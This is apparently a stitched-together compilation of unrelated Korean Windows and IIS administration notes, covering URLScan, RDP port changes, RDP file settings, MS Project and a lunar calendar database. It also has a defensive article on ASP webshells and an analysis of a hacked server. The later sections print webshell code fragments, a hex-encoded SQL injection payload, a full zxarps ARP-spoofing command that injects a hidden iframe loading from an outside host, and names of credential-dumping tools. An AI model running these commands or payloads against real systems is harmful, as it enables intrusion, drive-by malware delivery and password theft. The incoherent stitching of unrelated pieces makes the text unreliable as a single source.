요청 파일 이름 확장자 .html 을 거부하고 별도 등록되지 않은 다른 모든 파일 확장자는 허용
1. 설정 방법
[DenyExtensions]
.html ; 추가
2. 결과 확인
가. 404.0 - Not Found 오류 발생
나. URLScan Log : GET /index.html Rejected extension+not+allowed file_extension .html
[시나리오2]
요청 파일 이름 확장자 .png 그림 파일을 거부한 경우
1. 설정 방법
[DenyExtensions]
.png ; 추가
2. 결과 확인
가. Iisstart.htm 파일을 정상적으로 액세스 하였지만 해당 파일에 링크된 이미지는 필터링 됨
나. URLScan Log : GET /welcome.png Rejected extension+not+allowed file_extension .png
그 외 SQL 인젝션 차단 등 일반적인 URLScan 사용 시나리오에 대해서 아래 웹 사이트에서 소개하고 있습니다.
Common UrlScan Scenarios
http://learn.iis.net/page.aspx/476/common-urlscan-scenarios/
URLScan 에 의해서 차단된 URLScan 규칙에 의해 차단된 요청은 C:\Windows\system32\inetsrv\urlscan\log 폴더에 기록되며 해당 로그를 LogParser.exe 툴을 통해 분석해 보면 차단된 유형 목록을 쉽게 카운트 해서 볼 수 있습니다.
[참고자료]
Security Guidance for IIS
http://technet.microsoft.com/en-us/library/dd450371(WS.10).aspx
비전문가도 사용하기 쉬운 프로젝트 관리 툴 실제 지식 기반 업무 수행에 초점 … 맞춤형 필드로 편리한 UI 구축
마이크로소프트 프로젝트 2003 버전은 지난 10월 마이크로소프트 오피스 2003과 함께 발표됐다. 주요 오피스 도구들과 데이터 저장간 상호 작용을 개선시키는 데 목적을 두고 있으며 eWEEK 랩 테스트에서는 프로젝트 매니저가 아닌 사람들도 리소스 가상화와 관리를 할 수 있도록 해주는 점이 인상적이었다.
아직 오피스 2000이나 오피스 97에서 새로운 버전으로 업그레이드 하지 않은 사람들이라면 프로젝트 2003의 데이터 통합과 네트워크 리소스 활용에서 새로운 오피스 플랫폼이 제공할 세계를 실감할 수 있을 것이다.
기존의 프로젝트 관리 툴은 선택적으로 반영된 사실에 대한 리포팅이나 긍정적인 측면에 대해 프리젠테이션할 때는 프로젝트 2003보다 훌륭하다고 할 수 있다. 그러나 프로젝트 2003은 실제 데이터의 중복 수집과 데이터 입력 작업을 최소화하고 실제 지식에 기반해 일할 수 있도록 하는 데 초점을 맞추고 있다.
이 제품은 ‘프로젝트 가이드’와의 상호 작용을 통해 문맥 연결에 따른 가이드라인을 계속 제공한다. eWEEK 랩은 프로젝트 가이드가 온라인 도움말보다 훨씬 유용하다고 생각하는데, 온라인 도움말은 화면에 더디게 나타나 작업을 방해할 때가 있기 때문이다. 프로젝트 가이드는 항상 켜져 있으며 툴 속에 통합돼 있다. 추가적인 도움말 자료 역시 제공받을 수 있다.
프로젝트 2003 사용자들은 매일 프로젝트 기대치가 변화하는 환경에서 이 제품이 제공하는 ‘베이스라인스’라는 모니터링 툴을 이용해 어떤 시점에서든 프로젝트 상황의 스냅샷을 생성할 수 있다. 이같이 생성된 스냅샷은 프로젝트의 진행 과정에 대한 기록으로 사용될 수 있으며 이후 프로젝트 분석가들을 위한 참조 포인트가 되기도 한다.
프로젝트 2003 기반의 리포트에서는 많은 상황들이 스프레드시트 분석기로 내보내진다. 또 프로젝트 2003이 형성된 원래 데이터에 의존할 경우 사용자들은 프로젝트 2003 환경 내에서 마법사 기능과 통합된 하이퍼링크를 통해 손쉽게 엑셀 파일로 내보내고 들여올 수 있다.
프로젝트 툴을 다듬어 고유한 요구 사항을 반영시키길 원하는 관리자라면 맞춤형 필드에 대한 규정과 사용 규칙에 대해 정의할 수 있는 많은 옵션을 사용하길 바란다.
또 전형적인 프로젝트 관리 툴의 가득한 바와 선, 다이어그램을 좋아하지 않는 사용자들은 웹 포탈과 같은 외형과 느낌의 프로젝트 2003을 편하게 사용할 수 있을 것이다. 프로젝트 2003은 현재 발생중인 문제, 위험, 새로운 업무나 기타 주의 혹은 대응이 요구되는 아이템들에 대해 재빠른 드릴 다운을 제공한다.
이런 웹 접근 모드는 프로젝트 2003의 적용을 확대하는데, 이동이 많은 사용자들은 서버에 간단한 작업 일지와 일정표를 둔 아웃룩 웹 클라이언트와 같은 방식으로 사용할 수 있다.
프로젝트 2003은 지난 10월 미국 LA에서 열린 프로페셔널 개발자 컨퍼런스에서 시연됐던 마이크로소프트 롱혼 기술과 같은 맥락에서 봐야 한다. 몇 가지 엉켜 있는 새로운 사용자 인터페이스 밑으로, 롱혼은 분리돼 있는 정보 저장소들을 훨씬 편리하게 통합해 주는 매개체가 되고 있다.
닷넷 기반, 서버 플랫폼으로 설계된 프로젝트 2003은 사용자들에게 리소스 할당 충돌과, 프로젝트에 대한 또다른 위험들을 규정할 수 있는 풍부한 기회를 제공한다. 이것이 기업 고객들이 오피스 스위트에 프로젝트 2003을 추가함으로써 얻는 부가가치다.
개발환경 : MYSQL 5.0
사용제한 : 프리웨어
제작자 :
진짜만세력 델파이 버전 : 고영창님 (kohyc@chol.com)
진짜만세력 MYSQL 버전 : 이양규님 <pro@trueweb.cc>
진짜만세력 MYSQL 버전에 대한민국 공유일 정보 추가 : 김성일(newrezn@naver.com)
자료설명 :
PHPSCHOOL - DOWNLOAD 게시판의 669번 자료글(양력음력변환 DB)에서 다운받은 자료에 우리나라 공휴일 정보를 추가한 것입니다.
검색 가능 기간은 양력 기준으로 1900년 01월 01일부터 2200년 12월 31일까지입니다.
공휴일은 위키백과의 '대한민국의 공휴일'을 참조하여 제정일자로부터 해당 공휴일이 나타나도록 하였고, 폐정일자 이후부터는 나오지 않도록 하였습니다. 각 공휴일의 연휴여부도 적용하였습니다.
필드는 다음과 같이 구성되어 있습니다.
num : 등록순번
lunar_date : 음력일자 (0000-00-00 형식)
solar_date : 양력일자 (0000-00-00 형식)
yun : 윤달여부 (0 : 평달, 1 :윤달)
ganji : 간지
memo : 공휴일
압축파일에는 3개 버전 그누보드용 테이블이 들어 있습니다.
MySQL 4.xxx euc-kr용 : g4_lunartosolar_mysql4.sql
MySQL 5.xxx euc-kr용 : g4_lunartosolar_mysql5ansi.sql
MySQL 5.xxx utf-8용 : g4_lunartosolar_mysql5utf8.sql
MYSQL 버전과 DB언어셋에 맞추어 사용하시면 됩니다.
윈도우용 vim 인 gvim.exe 편집기를 사용할 때
파일 열면 새창으로 열리지 않고
하나의 창에서 새탭으로 열리게 하는 팁입니다.
..
윈도우 7 의 경우
레지스트리 편집기를 열여서 ( regedit 명령어 )
\HKEY_CLASSES_ROOT\Applications\gvim.exe\shell\edit\command
항목을 열어서 "기본값" 수정에서
"C:\Program Files (x86)\Vim\vim73\gvim.exe" "%1"
와 같이 된 부분을 --remote-tab-silent 옵션을 추가해서
아래아 같이 수정하고 저장하면 됩니다.
"C:\Program Files (x86)\Vim\vim73\gvim.exe" --remote-tab-silent "%1"
===============
vim -p a.txt b.txt c.txt 하면 탭으로 열립니다.
vim -p3 하면 이름없는 파일로 탭 3개가 열립니다.
연상태에서
:tabnew d.txt 하면 새탭으로 파일을 열고..
:tabn 은 앞쪽으로 탭창이동 :tabp 뒤탭으로 이동
:tabfirst 혹은 :tabfir 는 첫번째 탭창, :tablast 혹은 :tabla 는 마지막 탭창
단추키로는 normal에서 gt, gT 키로 탭이동도 됩니다.
매번 레지스트리 수정하는게 귀찮고 번거로워서 만들어 봤습니다.
터미널 포트 변경.vbs
========
MsgBox("터미널 포트 설정을 진행합니다. 저작권 : forioso@naver.com ")
Port = inputBox("몇번포트를 사용하시겠습니까?")
msg = MsgBox("터미널 포트를 " & Port & "로 변경합니다. 진행하시겠습니까?",vbYesNo , "터미널포트변경")
If msg = vbYes Then
Set wshShell = CreateObject("Wscript.Shell")
'regPort = wshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber")
wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber", Port , "REG_DWORD"
wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber", Port , "REG_DWORD"
'wshShell = Nothing
MsgBox("변경 되었습니다.")
else
MsgBox("취소 되었습니다.")
end if
매번 레지스트리 수정하는게 귀찮고 번거로워서 만들어 봤습니다.
터미널 포트 변경.vbs
========
MsgBox("터미널 포트 설정을 진행합니다. 저작권 : forioso@naver.com ")
Port = inputBox("몇번포트를 사용하시겠습니까?")
msg = MsgBox("터미널 포트를 " & Port & "로 변경합니다. 진행하시겠습니까?",vbYesNo , "터미널포트변경")
If msg = vbYes Then
Set wshShell = CreateObject("Wscript.Shell")
'regPort = wshShell.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber")
wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber", Port , "REG_DWORD"
wshShell.RegWrite "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber", Port , "REG_DWORD"
'wshShell = Nothing
MsgBox("변경 되었습니다.")
else
MsgBox("취소 되었습니다.")
end if
group by를 쓸 때도 마찬가지구요.
근데 별로 느릴 거 같지 않은 쿼리가 느리기에
혹시나 하고 year(regdate)+right('0'+month(regdate),2) 이런 식으로 바꿨더니
속도가 확~ 빨라지네요.
9~11초 걸리던 쿼리가 1초로 바뀌네요.
RDP File Settings
The new Terminal Services client (version 2600 and newer, 5.1.2600.x) introduces quite a few new capabilities. A major client-side convenience is that connection settings can be saved in an RDP file which can then be easily edited, copied, and distributed.
Unfortunately, the parameters are not nearly as well documented as the ActiveX control parameters yet; this will presumably change before the .NET server release.
In the interim, I've put together a summary of information I have about the parameters contained in the files.
Which Terminal Services/Remote Desktop Client?
The newest ones, versions 5.1.2600.x and up. The client can be downloaded from the Remote Desktop Connection page - and despite the header, it is the client to use for connecting to either Terminal Services or XP Remote Desktop.
You can install it on any true 32-bit Windows OS except Windows XP and .NET - they already come with their own version.
Making an RDP File
You can create an RDP connection file using a text editor; there is nothing special about its structure to prevent this; in fact, the Terminal Services people appear to have been assiduous about making it simple and easy to use; the order in which parameters are placed doesn't even matter.
The simplest way to do it initially, though, is to run the mstsc client, configure basic settings you want, then choose "Save As..." on the General tab. You can then open the resulting file in Notepad and work with it.
RDP File Structure
The file structure is relatively simple. The standard file consists of several lines; each has parameter name, type, and value, separated by a ":". Any colons after the second one appear to be ignored (necessary so that file paths can be embedded). MSTSC also appears to silently ignore anything it cannot parse, so you can insert freeform comments into the file.
For example, here are two lines which tell MSTSC to establish a 1024x768 desktop when it connects:
desktopheight:i:768
desktopwidth:i:1024
The first element in each line is the parameter name. Immediately following it, after the first colon, is the parameter type; as far as I can tell, there are only 3 types of values -
RDP File Parameters
Below is a table listing all of the parameters I have encountered so far. I list the parameter name, type, an example value, and then include notes on usage where possible.
Parameter | Value | Notes | |
alternate shell | s | c:\winnt\system32\notepad.exe | Sets the shell to be used within the Terminal Services session. This can be used to set an alternate shell such as progman.exe; you can also use it to set the application which the user runs on logon to the Terminal Server. |
audiomode | i | 2 | Known values: 0 - Bring to this computer 1 - Leave at remote computer 2 - Do not play |
auto connect | i | 0 | 0 or 1 |
autoreconnection enabled | i | 1 | Set to 1 to connect automatically when file is opened. |
bitmapcachepersistenable | i | 1 | ? 1 maintains bitmap cache between sessions |
compression | i | 1 | ? 1 means use extra compressions |
connect to console | i | 1 | 0 - connect to a virtual session 1 - connect to the console session |
desktopheight | i | 768 | height of session desktop in pixels |
desktopwidth | i | width of session desktop in pixels | |
disable cursor setting | i | 0 | ? |
disable full window drag | i | 1 | set to 1, disables display of window contents while dragging in session |
disable menu anims | i | 1 | set to 1, disables menu animations in session |
disable themes | i | 1 | set to 1, disables use of themes in session |
disable wallpaper | i | 1 | set to 1, disables display of wallpaper in session |
displayconnectionbar | i | 1 | Set to 1, displays the connection bar in a fullscreen session |
domain | s | HQ | domain name to use for logon |
full address | s | 192.168.1.1:33389 | IP address/name of server (and optional alternate port) |
keyboardhook | i | 2 | For applying standard Windows key combinations 0 - On the local computer 1 - On the remote computer 2 - In fullscreen mode only |
maximizeshell | i | 0 | set to 1, maximizes any alternate shell used in the session |
password 51 | b | (big long binary hash) | Ifyou choose to save the connection password, this will be a large binary hash value |
port | i | 3389 | |
redirectcomports | i | 1 | set to 1, redirects client COM ports in session (XP/.NET only) |
redirectdrives | i | 1 | set to 1, redirects client drives in session (XP/.NET only) |
redirectprinters | i | 1 | set to 1, redirects client printers in session |
redirectsmartcards | i | 1 | set to 1, redirects client smart cards in session (XP/.NET only) |
screen mode id | i | 1 | FullScreen vs. normal 0 - ? 1 - windowed 2 - fullscreen |
server port | i | 3389 | You can specify the port separately from the "full address" parameter. Thanks to James from acmewidgets.com for finding this out! |
session bpp | i | 16 | bit depth for session - 8, 16, or 24. Only 8 is valid for Windows 2000 Terminal Servers |
shell working directory | s | c:\program files\microsoft office | Working directory if an alternate shell was specified. |
smart sizing | i | Scale the client window display of desktop when resizing 0 or not present - Do not scale 1 - Scale (Takes extra resources to scale) | |
username | s | administrator | name of user logging on |
winposstr | s | 0,1,0,249,808,876 | ? Not sure about the details on this one. There are always 6 comma-separated values. I would guess that these are presets for position and "window mode" sizes - maximized versus sized. |
An Example RDP File
This is an example RDP connection file. It starts maximized for its desktop size (800x600); color depth is 16-bit; it will attempt to automatically start connecting to 192.168.1.12 on launch; and so on...
screen mode id:i:1 desktopwidth:i:800 desktopheight:i:600 session bpp:i:16 auto connect:i:1 full address:s:192.168.1.12 compression:i:1 keyboardhook:i:2 audiomode:i:2 redirectdrives:i:0 redirectprinters:i:0 redirectcomports:i:0 redirectsmartcards:i:0 displayconnectionbar:i:1 username:s:Administrator domain:s:AKA alternate shell:s: shell working directory:s: disable wallpaper:i:1 disable full window drag:i:1 disable menu anims:i:1 disable themes:i:1 bitmapcachepersistenable:i:1
서버에 설치된 터미널 서비스의 포트를 변경하려면
- 시작 - 실행을 눌러 레지스트리 편집기를 실행한다.
- HKEY_LOCAL_MACHINE\System\CurrentControlSet
\Control\TerminalServer\Wds\Repwd\Tds\Tcp 로 이동한다. - 이름 종류 데이터
- PortNumber REG_DWORD 0x00000d3d(3389)
- 10진수를 선택하고 원하는 다른 포트번호(6666)를 입력한다.
- HKEY_LOCAL_MACHINE\System\CurrentControlSet
\Control\TerminalServer\WinStations\RDP-Tcp 로 이동한다. - 이름 종류 데이터
- PortNumber REG_DWORD 0x00000d3d(3389)
- 10진수를 선택하고 원하는 다른 포트번호(6666)를 입력를 입력한다.
- 클라이언트 연결 관리자로 새 연결을 만들때 기입한 단어가 연결 이름이 된다.
터미널 접속 클라이언트 포트를 변경하려면
- 클라이언트 연결 관리자를 연다.
- 파일 메뉴에서 새연결을 클릭한다.
- 클라이언트 연결 관리자 마법사 시작창이 뜬다.
- 새 연결을 만들면 연결 관리자 목록에 아이콘이 하나 생성되어 있다.
- 새 연결을 이용해서 만든 아이콘을 클릭한후 파일 메뉴에서 내보내기를 누른다.
- 예로 "name" 이름을 지정하면 name.cns파일이 생성된다.
- name이 연결을 위해 사용하는 이름이다.
- name.cns 파일을 메모장으로 열고 편집을 Server Port=3389 에서 Server Port=6666 로 수정한다.
- 6666 이 터미널 서버에서 레지스트리 변경을 해서 새로 지정한 포트의 번호이다.
- 이제는 클라이언트 연결 관리자를 이용해서 변경한 name.cns파일을 가져오기를 한다.
- 클라이언트 연결도 관리자가 터미널 서버 세팅에서 변경한 포트와 같게 세팅된다.
Source from:[S.S.R.E.T]ServersTeam.Org [F.N.S.T]Fineacer.Org
url:http://www.Serversteam.org/docs/Microsoft_Win_ASP_Webshell_Security.htm
개요:본문에서는 Microsoft 윈도우 계열의SERVER (IIS5.0、IIS6.0)에서 간단하고 빠르게 ASP 위험성 있는 컨포넌트를 WEB서버 시스템으로부터 멀리하는 것을 설명한다. 본문을 읽는 후 자기가 관리하고 있는 서버를 asp 트로이잔, Webshell 권한상승 및 시스템 보안위협 등으로부터 벗어날 수 있다.
본문:
주의:본문에서 언급된 설정방법 및 설정환경은:Microsoft Windows 2000 Server/Win2003 SERVER | IIS5.0/IIS6.0에 적용함.
1、우선 일반적인ASP트로이잔을 살펴본다, Webshell에서 사용한 ASP 컨포넌트는 아래와 같다. 중국산 webshell인 HY2006를 예를 들어보면,
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="net" scope="page" classid="clsid:093FF999-1EA0-4079-9525-9614C3504B74"></object>
<object runat="server" id="net" scope="page" classid="clsid:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
shellStr="Shell"
applicationStr="Application"
if cmdPath="wscriptShell"
set sa=server.createObject(shellStr&"."&applicationStr)
set streamT=server.createObject("adodb.stream")
set domainObject = GetObject("WinNT://.")
이상은 HaiYang webshell의 일부 소스다, webshell에서는 아래 여러 종류의 ASP컨포넌트를 사용하고 있는 것을 알 수 있다.
① WScript.Shell (classid:72C24DD5-D70A-438B-8A42-98424B88AFB8)
② WScript.Shell.1 (classid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B)
③ WScript.Network (classid:093FF999-1EA0-4079-9525-9614C3504B74)
④ WScript.Network.1 (classid:093FF999-1EA0-4079-9525-9614C3504B74)
⑤ FileSystem Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228)
⑥ Adodb.stream (classid:{00000566-0000-0010-8000-00AA006D2EA4})
⑦ Shell.applicaiton....
2: 해결방법:
① 아래 위험성 있는 ASP 컨포넌트를 삭제 혹은 명칭을 변경한다.
WScript.Shell、WScript.Shell.1、Wscript.Network、Wscript.Network.1、adodb.stream、Shell.application
[시작->실행->Regedit]을 실행하여 레지스토리를 수정한다. “Ctrl+F”으로 찾기를 실행한다. 순서대로 위에 Wscript.Shell등 컨포넌트의 명칭 혹은 그와 매칭한 ClassID을 입력한다. 해당 명칭을 삭제하거나 변경한다. (여기서 명칭변경을 권장한다. 만약 일부 웹 페이지의ASP프로그램에서 위에 열거한 컨포넌트를 사용했다면, ASP코드작성시 수정된 컨포넌트의 명칭을 사용하면 모든 것이 정상적 사용을 가능하다. 만약 ASP프로그램에서 이상의 컨포넌트를 사용하지 않는다면 삭제하는 것이 좋다. 삭제 혹은 명칭 변경 후, iisreset으로 IIS재 동작 후 적용한다.)
[주의:Adodb.Stream 컨포넌트는 많은 사이트에서 사용하기 때문에 만약 서버가 Virtual machine 이면 상황에 따라 조치 바람.]
② File System Object (classid:0D43FE01-F093-11CF-8940-00A0C9054228) 보안 문제에 대해 만약 서버에서 FSO를 사용해야 한다면(일부 Virtual Machine에서는 FSO기능을 사용함), FSO보안 해결방법은 “Microsoft Windows 2000 Server FSO 安全隐患解决办法” 문서를 참고하시길 바란다. 사용할 필요 없는 경우 직접 사용중지 하면 된다.
③ 사용중지 혹은 위험성 있는 컨포넌트를 삭제하는 방법:(방법① 및 방법②를 번거롭다고 생각하는 분은 본 방법을 참고함.)
wscript.shell 오브젝트를 해제하는 방법은 아래와 같다. cmd 모드에서[:regsvr32 /u %windir%\system32\WSHom.Ocx]를 실행한다.
FSO 오브젝트를 cmd 에서 아래 내용을 실행하여 해제한다. [regsvr32.exe /u %windir%\system32\scrrun.dll]
stream 오브젝트의 해제는 cmd에서 [regsvr32 /s /u "C:\Program Files\Common Files\System\ado\msado15.dll" ]를 실행한다.
만약 실행취소를 원한다면 위에 명령에 [/U] 옵션만 제거하면 된다. 즉, 관련 ASP컨포넌트를 재실행 가능하다. 예를 들면, regsvr32.exe %windir%\system32\scrrun.dll
④ Webshell 중에 set domainObject = GetObject("WinNT://.")을 사용하여 서버 프로세스, 서비스 및 사용자 정보 등을 획득하는 것에 대한 예방 방법은 아래와 같다. 서비스 중의 Workstation[네트워크 연결 및 통신을 제공함] 즉, Lanmanworkstation서비스를 중지하면 문제해결 된다. 이렇게 처리하면 Webshell 프로세스를 디스플레이 하는 곳에 공백으로 표시된다.
3 위에 방법1、2에 따라 ASP관련 위험한 컨포넌트에 대해 처리 후, Ajiang asp probe으로 테스트하면,"서버CPU상세내역" 및 "서버운영체제"를 찾을 수 없으며 내용은 모두 공백으로 디스플레이 된다. HaiYang을 사용하여 Wscript.Shell를 테스트 하면, cmd commend line에서 Active를 만들 수 없다는 메시지가 디스플레이 된다. ASP 트로이잔이 서버 시스템에 대한 보안 위협을 완화할 수 있다.
본문에서 소개한 내용은 단지 본인이 ASP트로이잔、Webshell에 대한 소견뿐이다. 향후 여러분께 어떻게 간단하게 타인 컴퓨터에 net user 와 같은 명령의 실행을 방지하고, 버퍼 오버플로우를 통해 cmdshell 획득을 방지 및 사용자 추가의 방지, NTFS 설정권한에서 터미널 서비스 등록 등에 대한 간단하고도 효과적인 방어방법을 소개할 예정이다.
저자: 李泊林/LeeBolin
[S.S.R.E.T 服务器安全研究专家小组 CTO] Http://www.serversteam.org
[F.N.S.T 情长计算机网络安全在线 技术顾问] Http://www.fineacer.org
E-mail:leebolin#serversteam.org QQ:24460394 본문관련 질문 사항은 메일 혹은 QQ에 연락하시길 바람
윈도우에서 구동되는 포트번호로 구분된 네트워크 서비스와 윈도우 서비스로 관련 윈도우 서비스를 제어판에서 중지시킨다면 관련 포트번호를 차단할 수 있다. 임시방편으론 "%SystemRoot%system32driversetc" services파일에 주석처리로 해당 포트를 disable시킬 수 있다.
|
다음 관련 데이터 및 로그는 실제 Sql Injection 해킹된 서버에서, 해당 서브넷에서 Arp Spoofing 시도를 위한 일부 입니다. 이와 관련된 해킹 방어 대책은 인터넷에 수없이 공개되어 있으므로 참고만...^^
DDoS 공격사례, 기법 및 이를 위한 Arp Spoofing 등 기술문서
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=388
공개용 웹 방화벽 프로그램을 이용한 홈페이지 보안 - krcert
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=312
해킹, 악성코드등 보안 점검 자료 및 정보
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=310
Sql Injection 침해 흔적을 통한 보안점검
http://www.serverinfo.pe.kr/TipnTech.aspx?Seq=281
DTS패키지는, 데이터 원본(ODBC) 에 등록된 해당 프로바이더 연결을 이용하여 쿼리 데이터를 텍스트 파일 형식의 .asp 파일로 저장.
보통 주로 C:\ 루트나, 해당 웹사이트 루트 또는 특정 폴더 생성이나 이미 있는 폴더내에 생성하는 경우가 많으며 확장자는 주로 1.asp, 2.asp, 111.asp 등의 파일명 패턴을 가지고 있음.
'xpsqlbot.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_qv'을(를) 실행합니다.
'xpstar.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_ntsec_enumdomains'을(를) 실행합니다.
'xplog70.dll' 버전 '2000.80.2039'을(를) 사용하여 확장 저장 프로시저 'xp_msver'을(를) 실행합니다.
이벤트 형식: 정보
이벤트 원본: MSSQLSERVER
이벤트 범주: (2)
이벤트 ID: 17055
설명:
8128 :
'odsole70.dll' 버전 '2000.80.2187'을(를) 사용하여 확장 저장 프로시저 'sp_OACreate'을(를) 실행합니다.
특정 OLE 개체의 인스턴트를 만들기 위해서 'sp_OACreate' 확장 저장프로시져를 호출
이벤트 형식: 오류
이벤트 원본: MSSQLSERVER
이벤트 범주: (6)
이벤트 ID: 17055
설명:
3041 :
BACKUP이 실패하여 'Select Count(*),CEILING(CAST(Count(*) AS FLOAT)/16) FROM xxx.xxxx A inner join xxxx.xxxx B on A.no = B.no Where B.Pt is not null And B.Category = '24';declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C0057005700
57005F0052004F004F0054005C007300730068006F00770071007500650065006E0
02E0063006F006D005C0031003200330
02E00610073007' 명령이 완료됩니다.
zxarps.exe -idx 0 -ip 120.xxx.xxx.xxx,120.xxx.xxx.xxx -port 80 -insert "<iframe src=http://mail.xxxxx.co.kr/help/i.htm width=0 height=0 ></iframe>"
1.bat
addins.zip
cmd.bat
WinPcap_4_1_beta.exe
zxarps.exe
해당 서버에는 Arp Spoofing 을 위해서 관련 툴을 다운로드. zxarps 툴은 해당 서브넷의 게이트웨이를 점유해서 서브넷내의 웹서버에서 클라이언트로 다운로드 되는 웹페이지 상단에 iframe 을 삽입함. 이전의 해당 웹서버의 index.asp 파일등을 변조하는 것보다 훨씬더 효과가 큼.
\system32
packet.dll
wanpacket.dll
wpcap.dll
\1025\sam\gethashes.exe
\1025\sam\getsyskey.exe
\1025\sam\saminside.exe
\sql server\mssql\bin
xp_nped.dll
시스템 폴더 및 SQL Server 폴더에 추가적인 해킹 및 Arp Spoofing 툴이 설치되는데, 중국어권 에서는 Arp Spoofing 툴로 매우 유명한 zxarps.exe 툴이 설치되어 있으며 해당 폴더에는 윈도우계정 생성 및 Arp Spoofing 를 위한 패킷 드라이버인 WinCap 이 설치됨.
C:\WINDOWS\system32\1025\Cain 디렉터리
2007-12-09 오전 12:07 <DIR> .
2007-12-09 오전 12:07 <DIR> ..
2007-12-09 오전 12:03 0 80211.LST
2007-10-09 오후 06:06 30,720 Abel.dll
2007-10-09 오후 06:14 66 Abel.dll.sig
2007-10-09 오후 06:13 27,648 Abel.exe
2007-10-09 오후 06:14 66 Abel.exe.sig
2007-10-09 오후 06:13 989,184 Cain.exe
2007-10-09 오후 06:14 66 Cain.exe.sig ......
주로 시스템의 계정 해킹에 이용되는 툴중에 매우 공개된 강력한 툴인 Cain & Abel 이 추가적으로 설치됨. 웹사이트: http://www.oxid.it
[서비스]에는 Remote Packetk 이 설치됨.
실행파일은 C:\WINDOWS\system32\Seveer.exe
C:\Documents and Settings\field\바탕 화면\xc02.exe
Remote Packetk 에 관련된 자료가 거의 없어서 정확이 어떤 역할을 하기 위해서 설치를 한것 인지는 모르겠으나, 원격 명령 또는 관리를 위해서 설치한 툴로 추정됨.
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]
"F"=hex:02,00,01,00,00,00,00,00,82,43,b8,5d,03,39,c8,01,00,00,00,00,00,00,00,\
00,06,95,e2,6f,66,a6,c7,01,00,00,00,00,00,00,00,00,7a,b5,49,46,9c,39,c8,01,\
f4,01,00,00,01,02,00,00,10,02,00,00,00,00,00,00,01,00,69,00,01,00,00,00,00,\
00,00,00,00,00,00,00 ........
윈도우 계정 생성을 위한 레지스트리 등록하며, 계정명은 주로 Field 임.
출처:
=================================================
Windows Media Technologies에 대한 유용한 정보
운영 체제
백서
요약
이 백서에서는 Microsoft Windows Media Technologies 구현을 위한 유용한 정보를 설명합니다. 프로토콜, 인코더 구성과 기술, 서버 구성과 조정, 멀티캐스트 배포 사용 및 로깅을 설명합니다.
Microsoft Windows Media Technologies는 Windows 2000 운영 체제의 일부로서 배포됩니다. 이로서 스트리밍 미디어 파일을 작성, 배포 및 재생할 수 있습니다. IT 전문가의 경우 Windows 2000 Professional과 Windows 2000 Server를 모두 최적의 성능으로 구성하는 방법과 네트워크를 통해 파일을 배포하는 방법을 이해해야 합니다.
그림 1은 스트리밍 미디어 전송에 사용되는 구성 요소를 나타낸 것입니다.
그림 1 Windows Media Technologies 전송 구성 요소
이 백서는 네트워크를 통한 스트리밍 미디어의 인코딩, 서비스 제공 및 전송에 대한 구성 요소를 설명하며 다음과 같은 내용을 다룹니다. 다음과 같은 정보가 포함되어 있습니다.
이 백서에서는 독자가 기본적으로 WMT와 네트워킹 프로토콜을 알고 있다고 가정합니다.
> Windows Media Technologies는 Windows Media Server(MMS)라고 하는 응용 프로그램 수준의 프로토콜을 사용하여 인터넷과 인트라넷을 통해 ASF(Active Streaming Format) 파일을 전송합니다. 스트리밍 ASF 파일을 가리키는 URL에는 다음 예에서 볼 수 있는 것처럼 프로토콜로 사용하는 MMS가 포함됩니다.
mms://servername/filename.asf
MMS 프로토콜은 자동으로 다음과 같은 순서로 스트리밍 미디어를 위한 최적의 전송을 찾습니다.
UDP 프로토콜은 배달을 보장하지 않기 때문에 실시간 미디어에 이상적인, 연결 없는 전송 계층 프로토콜입니다. 이 표현이 장점이라기보다는 단점으로 들릴지 모르지만 스트리밍 미디어에는 특히 적합한 특성입니다. 전송 시간에 관계 없이 전체 내용이 배달되어야 하는 파일이나 전자 메일과 같은 데이터와 달리 스트리밍 미디어 데이터의 값은 시간의 제약을 받습니다. 비디오 프레임이 손실되면 정확한 시간 프레임 내에 도달하지 않으므로 쓸모가 없는 데이터가 됩니다. 이 데이터를 다시 전송한다는 것은 대역폭을 낭비하는 것입니다. 전송 프로토콜로 UDP만 사용하도록 지정할 수 있습니다. 이렇게 하려면 다음과 같은 구문을 사용하십시오.
mmsu://servername/filename.asf
UDP의 단점은 회사 방화벽을 통과하지 못할 수 있다는 것입니다. UDP를 통해 스트리밍 ASF 파일을 받아 들이도록 방화벽을 구성하는 방법에 대한 자세한 내용은 다음을 참조하십시오.
MS DTC 방화벽 문제 해결
다음 선택인 TCP는 가장 많이 사용되는 인터넷 전송 프로토콜입니다. 데이터를 다시 전송하려 한다는 것과 이 프로토콜 역시 회사의 방화벽을 통과하지 못할 수 있다는 것이 TCP의 단점입니다. TCP와 방화벽에 대한 자세한 내용은 앞에서 설명한 기사를 참조하십시오. 전송 프로토콜로 TCP만 사용하도록 지정하는 구문은 mmst://servername/filename.asf입니다.
